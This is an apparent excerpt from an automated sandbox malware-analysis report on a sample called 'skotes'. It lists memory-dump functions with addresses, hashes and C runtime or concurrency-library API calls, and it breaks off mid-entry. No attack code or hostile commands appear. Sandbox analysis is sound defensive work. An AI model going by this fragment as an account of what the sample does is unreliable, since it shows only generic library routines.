Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateInitializeInstance
String ID: invalid stoi argument$stoi argument out of range
API String ID: 1968832861-1606216832
Opcode ID: c358672e6952ee5cf13cd144bbb649d8f6dd63cab675f4046118eda26d66d1a9
Instruction ID: 20cf32548ca68c99bdc17b3997924a796d415fc2ca7f3e9323e5de043a8d5214
Opcode Fuzzy Hash: c358672e6952ee5cf13cd144bbb649d8f6dd63cab675f4046118eda26d66d1a9
Instruction Fuzzy Hash: 32418371A04204DFDB04CF68CC89BAE77B5EF49715F108119F815EB6A4D774E984CB91

Function 0017EA8E Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0017EAB8
_free.LIBCMT ref: 0017EB91
_free.LIBCMT ref: 0017EBBE

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 974e8a9859bee24168a1c4893e7170a3128758d34a0601c78e91bc30c12cd709
Instruction ID: 1d47c5ec48541b3beb92bf2fad529abb4fea7297075ff491a43e5398b5d347cb
Opcode Fuzzy Hash: 974e8a9859bee24168a1c4893e7170a3128758d34a0601c78e91bc30c12cd709
Instruction Fuzzy Hash: D851E875908305AFDF21AFB8D841A6E7BF8EF19320F14C1E9E51D97281EB319540CB51

Function 0014DBE0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 185COMMON

Download Yara Rule

Strings

list too long, xrefs: 0014E09D

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: mtx_do_lock
String ID: list too long
API String ID: 1389037287-1124181908
Opcode ID: fad1d164e0204ebc85f1e0b2e36d41f525626f1bcddb57df22f6407accc36e3a
Instruction ID: 9738b9849e7c5d21d3e46a1133b8b06123aa6f4344b9a9294295bc5eb9269262
Opcode Fuzzy Hash: fad1d164e0204ebc85f1e0b2e36d41f525626f1bcddb57df22f6407accc36e3a
Instruction Fuzzy Hash: 95617EB0D04718DFDB20DF64CD89B99B7B4FF14700F1041AAE819AB291EB71AA85CF91

Function 00174840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00174877
___except_validate_context_record.LIBVCRUNTIME ref: 0017487F
_ValidateLocalCookies.LIBCMT ref: 00174908
__IsNonwritableInCurrentImage.LIBCMT ref: 00174933
_ValidateLocalCookies.LIBCMT ref: 00174988

Strings

csm, xrefs: 0017491D

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 744e82b46a45d7db1b8a914fbc8a3e268e2959978a1fd389835b7c3a90067aa3
Instruction ID: fd261efd3c2ca23970915e0cb7995f7423a0e185369b1c8e6a979f736dfc4e41
Opcode Fuzzy Hash: 744e82b46a45d7db1b8a914fbc8a3e268e2959978a1fd389835b7c3a90067aa3
Instruction Fuzzy Hash: 8041C234A00219EFCF10DF68C884A9EBBB5BF49318F24C155E92C9B3A2D7719A51CB91

Function 00171B29 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 00171B42

Part of subcall function 00171E11: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,0017188A), ref: 00171E21

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00171B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00171B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00171C2A

Strings

switchState, xrefs: 00171B5E
pContext, xrefs: 00171C22

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::std::invalid_argument::invalid_argument$ExecutionFreeIdleObjectProcessorProxy::ResetRoot::SingleSuspendThreadVirtualWait
String ID: pContext$switchState
API String ID: 1312548968-2660820399
Opcode ID: ea7251df45e2c59678faa20b36b57cecef97176540d548cb5ecf51bca770c697
Instruction ID: b517ea4963f5869f56db76a97a671a46ebf7f43f102a4a6d2a982a51de6a501b
Opcode Fuzzy Hash: ea7251df45e2c59678faa20b36b57cecef97176540d548cb5ecf51bca770c697
Instruction Fuzzy Hash: 8731C535A40214BFCF05EFA8C8859ADB3B5FF58314F208565ED199B281EB71EE05DAD0

Function 0016E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0016E7D7

Part of subcall function 0016E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0016E577
Part of subcall function 0016E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0016E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0016E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0016E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0016E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0016E879
Concurrency::location::_Assign.LIBCMT ref: 0016E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0016E8B5

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: fd73237e8954a8bf93e99029988cff7042e84bc3d64bc88283576ff88500276c
Instruction ID: 397860b73a5ba2dcfdffdd0bc1ec03ffd18384f83e2f710b20dd6ad2aeb811d8
Opcode Fuzzy Hash: fd73237e8954a8bf93e99029988cff7042e84bc3d64bc88283576ff88500276c
Instruction Fuzzy Hash: C9413A79A00214DFCF05EFA4C895AADB7B9FF48310F1881A9DD499B382DB30A951CF91

Function 0017F0DB Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0017F0A3: _free.LIBCMT ref: 0017F0C8

_free.LIBCMT ref: 0017F129

Part of subcall function 0017ADF5: HeapFree.KERNEL32(00000000,00000000,?,0017F0CD,?,00000000,?,?,?,0017F0F4,?,00000007,?,?,0017F4F6,?), ref: 0017AE0B
Part of subcall function 0017ADF5: GetLastError.KERNEL32(?,?,0017F0CD,?,00000000,?,?,?,0017F0F4,?,00000007,?,?,0017F4F6,?,?), ref: 0017AE1D

_free.LIBCMT ref: 0017F134
_free.LIBCMT ref: 0017F13F
_free.LIBCMT ref: 0017F193
_free.LIBCMT ref: 0017F19E
_free.LIBCMT ref: 0017F1A9
_free.LIBCMT ref: 0017F1B4

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction ID: 9673dff0214f7e8f60a89cb8e087fe810abc88d26452e89809c2bc6b28f87db5
Opcode Fuzzy Hash: f2c9cbcbdea25c70db4e9b8930aae965ae4a61b9cabad425459c8f385a1b4d78
Instruction Fuzzy Hash: B9115171540B04AAD530B7B0CC07FCB77FD9F50701F808929B2ADA6253DF66B74A9652

Function 00156E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

Part of subcall function 0015C6AC: mtx_do_lock.LIBCPMT ref: 0015C6B4

__Mtx_unlock.LIBCPMT ref: 00156ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00156F22
std::_Rethrow_future_exception.LIBCPMT ref: 00156F32
__Mtx_unlock.LIBCPMT ref: 00156FD5
__Mtx_unlock.LIBCPMT ref: 001570DB
__Mtx_unlock.LIBCPMT ref: 00157116

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_$mtx_do_lock
String ID:
API String ID: 95294986-0
Opcode ID: 7ef460641d2090d4656a198497f9272e879248c5df53a1ca2d54430179330686
Instruction ID: b2569009d47e506db604aea1ddf3def69cb1118d27479ff5bf2bb5bdadd2c08e
Opcode Fuzzy Hash: 7ef460641d2090d4656a198497f9272e879248c5df53a1ca2d54430179330686
Instruction Fuzzy Hash: 11C1D170904704DFDB20DFA4D946BAEBBF4AF15312F00452EEC269B691DB71A948CBA1

Function 0017FCC0 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,001487A0,00000000), ref: 0017FD08
__fassign.LIBCMT ref: 0017FEE7
__fassign.LIBCMT ref: 0017FF04
WriteFile.KERNEL32(?,001487A0,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0017FF4C
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0017FF8C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00180038

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 3bda5c736b73e4873d40b9e13634178a1ada9a9969440d5995f406c63592ff48
Instruction ID: 4a3e654b73427840a8b45c281fb25d7c4b47ed6707e93e12085b2c4a3f3c049f
Opcode Fuzzy Hash: 3bda5c736b73e4873d40b9e13634178a1ada9a9969440d5995f406c63592ff48
Instruction Fuzzy Hash: 58D17D75D002589FCB15CFA8C980AEEBBB5BF49314F29416AE859BB242D7309E46CF50

Function 0016E8DD Relevance: 9.1, APIs: 6, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0016E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0016E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0016E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0016E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 0016E9DC
Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 0016E9E4

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupInternalScheduleSegment$AssignAvailableConcurrency::location::_DeferredEventMakeProcessor::ReleaseRunnableSchedulerTraceVirtual
String ID:
API String ID: 3929269971-0
Opcode ID: 93fbca8f4db42cae0a01c4cc478acebeea5701dabdcff8a28a5f4ea5621c34ed
Instruction ID: 82d84514462a552397d9ab1ffff8b58bb539204f8ce89613a8047469759a2dc5
Opcode Fuzzy Hash: 93fbca8f4db42cae0a01c4cc478acebeea5701dabdcff8a28a5f4ea5621c34ed
Instruction Fuzzy Hash: F9416379A00619EFCF09DF64C954A6DB7B6FF48314F048159E906A7390CB74AE51CF81

Function 0015ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0015ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0015ED17

Part of subcall function 0015F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 0015F3FA

__alloca_probe_16.LIBCMT ref: 0015ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 0015ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0015EDC6
__freea.LIBCMT ref: 0015EDEC

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: cd4bf924229c65ceb403969ea2f9ea81861643c116724bc2920bdb8cedee8b5c
Instruction ID: a010373fe8f7682f5d3e10305f53cf7c37f0e724fdc2c0622594cba5f59d639d
Opcode Fuzzy Hash: cd4bf924229c65ceb403969ea2f9ea81861643c116724bc2920bdb8cedee8b5c
Instruction Fuzzy Hash: DF318D71E00116CBCB19DFA8C9416ADB7F5AF19351B25406EE865EB380DB309E0ACB90

Function 0016A026 Relevance: 9.1, APIs: 6, Instructions: 73threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 0016A069

Part of subcall function 0016B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 0016B5AF

GetCurrentThread.KERNEL32 ref: 0016A073
Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 0016A07F

Part of subcall function 00160388: Concurrency::details::platform::__GetThreadGroupAffinity.LIBCONCRT ref: 0016039A

Part of subcall function 00160814: Concurrency::details::platform::__SetThreadGroupAffinity.LIBCONCRT ref: 0016081B

Concurrency::details::SchedulerProxy::IncrementCoreSubscription.LIBCONCRT ref: 0016A0C2

Part of subcall function 0016B512: SetEvent.KERNEL32(?,?,0016A0C7,0016AE5B,00000000,?,00000000,0016AE5B,00000004,0016B507,?,00000000,?,?,00000000), ref: 0016B556

Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 0016A0CB

Part of subcall function 0016AB41: List.LIBCONCRT ref: 0016AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 0016A0DB

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$AffinityThread$Concurrency::details::platform::__CoreCurrentExecutionGroupHardwareIncrement$Affinity::BorrowedCountEventFixedListResourceResource::StateSubscriptionToggle
String ID:
API String ID: 318399070-0
Opcode ID: e2fedb5f7661277b41e769e618b1acc3b1c916e6ad9c1a4263eceb99ef909d37
Instruction ID: 3f9e356aef1b0025a2ee019ead2d0c160ef0afb46e4d16cf7155288d2ec6fbc3
Opcode Fuzzy Hash: e2fedb5f7661277b41e769e618b1acc3b1c916e6ad9c1a4263eceb99ef909d37
Instruction Fuzzy Hash: 2921A732900B159FCB25EF65D9908ABF3F9FF5C300740495EE843A7A61DB30A905CBA2

Function 0015EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0015EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 0015EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 0015EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 0015EF0F
Concurrency::Context::Block.LIBCONCRT ref: 0015EF31

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 68705b0734b2a61cb210efc550386405ebba8058c125b861c65cd488b80600f4
Instruction ID: 61baa6727cc1a35cf6783caedba9400a18c9cb74619e7ae3c32a0e61acf7ffd6
Opcode Fuzzy Hash: 68705b0734b2a61cb210efc550386405ebba8058c125b861c65cd488b80600f4
Instruction Fuzzy Hash: 99212D70C14219DADF28DFA4C8566EEB7F0BF24322F10052EE971AA1D1EBB15B49CB51

Function 00174F37 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00174F2E,00173AF2,0015B555,6CA9583A,?,00000000,0018B3E8,000000FF,?,0014242A,?,?), ref: 00174F45
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00174F53
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00174F6C
SetLastError.KERNEL32(00000000,?,00174F2E,00173AF2,0015B555,6CA9583A,?,00000000,0018B3E8,000000FF,?,0014242A,?,?), ref: 00174FBE

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 01a98392708daca1ac50a0aaedb4f4b3eac50608f2a74678f7c248dbdfd58038
Instruction ID: a98ce54c1bc899ec27e8967a5f012c3a4a92d0a090fefe3ed47ffe943672b401
Opcode Fuzzy Hash: 01a98392708daca1ac50a0aaedb4f4b3eac50608f2a74678f7c248dbdfd58038
Instruction Fuzzy Hash: B401F7323097115FA7252BBC7C89A6666B6EB533B4730822AF43CC19E2EF214C41D680

Function 0015FC1B Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0015FC29
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0015FC2F
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0015FC5C
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0015FC66
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,?,00000000,?,?), ref: 0015FC78
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0015FC8E

Memory Dump Source

Source File: 00000001.00000002.2039119571.0000000000141000.00000020.00000001.01000000.00000008.sdmp, Offset: 00140000, based on PE: true

Associated: 00000001.00000002.2039099456.0000000000140000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039167717.0000000000190000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039189843.00000000001A2000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039208792.00000000001A4000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039230027.00000000001A5000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2039257914.00000000001A9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_140000_skotes.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID:
API String ID: 2808382621-0
Opcode ID: 1f55c6ce6c155e711f287603780e9b0a7f7dab2580c595cbc3a40ecc582493fc
Instruction ID: cd0df71d93308b412a3435a356dc1478e135cf2b7d660a8503839f8beac8f21f
